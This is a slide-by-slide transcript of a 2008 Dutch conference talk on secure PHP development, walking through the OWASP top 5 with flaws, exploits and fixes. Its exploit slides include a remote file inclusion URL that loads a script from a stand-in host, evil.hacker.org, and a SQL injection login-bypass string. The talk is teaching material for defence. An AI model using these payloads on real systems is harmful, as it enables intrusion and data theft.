Php Secure Application Development Robert Van Der Linde

35
PHP Secure Application Development Robert van der Linde Vianen, 22 april 2008

Transcript of Php Secure Application Development Robert Van Der Linde

Page 1: Php Secure Application Development   Robert Van Der Linde

PHP Secure Application Development

Robert van der Linde Vianen, 22 april 2008

Page 2: Php Secure Application Development   Robert Van Der Linde

Wie ben ik

• Robert van der Linde

• 5 jaar ervaring met PHP

• Zend Certified Engineer

• Oprichter PaSS-PHP Kerngroep

Page 3: Php Secure Application Development   Robert Van Der Linde

PHP is veilig Ongetrainde ontwikkelaars niet

Page 4: Php Secure Application Development   Robert Van Der Linde

PHP & Secure application development

• PHP legt geen verplichtingen op aan ontwikkelaars

• PHP bevat krachtige componenten die ontwikkelaars kunnen gebruiken om veilige applicaties te ontwikkelen

Page 5: Php Secure Application Development   Robert Van Der Linde

Agenda: Owasp top 5

• Remote Code Execution • Cross-site scripting (XSS) • SQL Injection • File system attacks • PHP Configuration

Page 6: Php Secure Application Development   Robert Van Der Linde

OWASP top 5: Remote Code Exectution

•  Remote Code Execution •  Cross-site scripting (XSS) •  SQL Injection

•  File system attacks •  PHP Configuration

Page 7: Php Secure Application Development   Robert Van Der Linde

Remote code execution

• Uitvoeren van arbitraire code door een externe partij

• Hierdoor kan een kwaadwillend persoon eigen code uitvoeren op de server

Page 8: Php Secure Application Development   Robert Van Der Linde

Fout:

http://host.com/index.php?file=contact

Page 9: Php Secure Application Development   Robert Van Der Linde

Exploit

http://host.com/index.php?file=http%3A%2F%2F evil.hacker.org%2Fmyscript.txt

Myscript.txt.php:

Page 10: Php Secure Application Development   Robert Van Der Linde

Exploit

http://host.com/index.php?file=http%3A%2F%2F evil.hacker.org%2Fmyscript.txt

Myscript.txt.php:

Page 11: Php Secure Application Development   Robert Van Der Linde

Oplossing

http://host.com/index.php?file=contact

Page 12: Php Secure Application Development   Robert Van Der Linde

Remote code execution

• Voorkomen door: > Input validatie > Voorkomen van arbitraire includes door

switch() of in_array() > Allow_url_fopen: Off > Vermijden van eval() > Whitelisting, geen blacklisting

Page 13: Php Secure Application Development   Robert Van Der Linde

OWASP top 5

•  Remote Code Execution •  Cross-site scripting (XSS) •  SQL Injection

•  File system attacks •  PHP Configuration

Page 14: Php Secure Application Development   Robert Van Der Linde

Cross Site Scripting (XSS)

• Een kwaadwillend script wordt terug gegeven in de HTML van een vertrouwde site, waardoor het wordt uitgevoerd

• Dit script kan gebruikt worden om gevoelige gegevens te verkrijgen

Page 15: Php Secure Application Development   Robert Van Der Linde

Voorbeeld

• MySpace • Een gebruiker plaatst een ajax call

op zijn profiel • Deze call voegt de gebruiker toe

als vriend van de huidige bezoeker • Deze call kopieert bovendien deze

code in het profiel van de huidige gebruiker

Page 16: Php Secure Application Development   Robert Van Der Linde

Fout

http://host.com/gb/addmessage.php

Page 17: Php Secure Application Development   Robert Van Der Linde

Exploit

•  Door slechte of geen input validatie de volgende code opslaan en tonen aan een bezoeker

Page 18: Php Secure Application Development   Robert Van Der Linde

Oplossing

http://host.com/gb/addmessage.php

Page 19: Php Secure Application Development   Robert Van Der Linde

Cross Site Scripting

• Voorkomen door: > Alle variabelen initialiseren > Specifieke globals gebruiken zoals

$_POST / $_GET. Geen $_REQUEST > Register_globals UIT! > Input valideren op type, lengte & syntax > Whitelisting, geen blacklisting

Page 20: Php Secure Application Development   Robert Van Der Linde

OWASP top 5

•  Remote Code Execution •  Cross-site scripting (XSS) •  SQL Injection

•  File system attacks •  PHP Configuration

Page 21: Php Secure Application Development   Robert Van Der Linde

SQL Injection

• Door de client aangeleverde data wordt verwerkt door de interpreter die de code ziet als een een SQL query

• Hierdoor kan een aanvaller toegang krijgen tot gevoelige informatie

Page 22: Php Secure Application Development   Robert Van Der Linde

Fout

http://host.com/admin/login.php

Page 23: Php Secure Application Development   Robert Van Der Linde

Exploit

• Aanvaller post: > USER: admin

PASS: test’ OR ‘a’=‘a

• Resulterende query: > SELECT * FROM USERS WHERE username=‘admin’ AND pass=‘test’ OR ‘a’=‘a’

Page 24: Php Secure Application Development   Robert Van Der Linde

Oplossing

Page 25: Php Secure Application Development   Robert Van Der Linde

SQL Injection

• Voorkomen door: > PDO’s prepared statements > mysql_real_escape_string() > Input checking op type, lengte & syntax > Error handling

Page 26: Php Secure Application Development   Robert Van Der Linde

OWASP top 5

•  Remote Code Execution •  Cross-site scripting (XSS) •  SQL Injection

•  File system attacks •  PHP Configuration

Page 27: Php Secure Application Development   Robert Van Der Linde

File system attacks

• Door onder andere slecht afgestelde bestandpermissies kunnen PHP scripts toegang krijgen tot gevoelige informatie

Page 28: Php Secure Application Development   Robert Van Der Linde

Exploit

• Bijvoorbeeld: > Gebruik maken van een shared host > Bestandspermissies en gebruikers/

groepen zijn voor iedere klant hetzelfde > Een kwaadwillende klant kan via het file

system gegevens van andere klanten lezen & bewerken.

Page 29: Php Secure Application Development   Robert Van Der Linde

File system attacks

• Voorkomen door: > Permissies op de server correct in stellen > open_basedir: On > Geuploade bestanden niet toegankelijk

maken > Validatie op user input!

Page 30: Php Secure Application Development   Robert Van Der Linde

OWASP top 5

•  Remote Code Execution •  Cross-site scripting (XSS) •  SQL Injection

•  File system attacks •  PHP Configuration

Page 31: Php Secure Application Development   Robert Van Der Linde

PHP Configuration

• Door slechte configuratie kunnen: > Aanvallers met minder moeite

beveiligingsgaten uitbuiten > Aanvallers meer schade aanrichten

• Standaard is PHP open geconfigureerd

Page 32: Php Secure Application Development   Robert Van Der Linde

PHP Configuration

• Configuratie opties: > register_globals: Off > allow_url_fopen: Off > magic_quotes_gpc: Off > magic_quotes_runtime: Off > safe_mode: On* > open_basedir: On*

*mits goed geconfigureerd

Page 33: Php Secure Application Development   Robert Van Der Linde

Overige kwetsbaarheden

• Hidden fields > Kunnen client side makkelijk bekeken

worden

• Client side validatie > Kan simpel omzeild worden

Page 34: Php Secure Application Development   Robert Van Der Linde

Samenvattend

• Veel exploits komen voor door vertrouwen in een bezoeker • Bezoekers zijn per definitie niet te

vertrouwen • Denk als een aanvaller tijdens het

bouwen • Whitelisting vs blacklisting • PHP Security is een samenwerking

tussen programmeurs en systeembeheer

Page 35: Php Secure Application Development   Robert Van Der Linde

Afsluiting

•  Referenties: > www.owasp.org

OWASP Top Ten OWASP PHP Top 5

•  Contact: [email protected]

•  Boeken:

Essential PHP security Chris Shiflett

php|architect’s Guide to PHP Security

Ilia Alshanetsky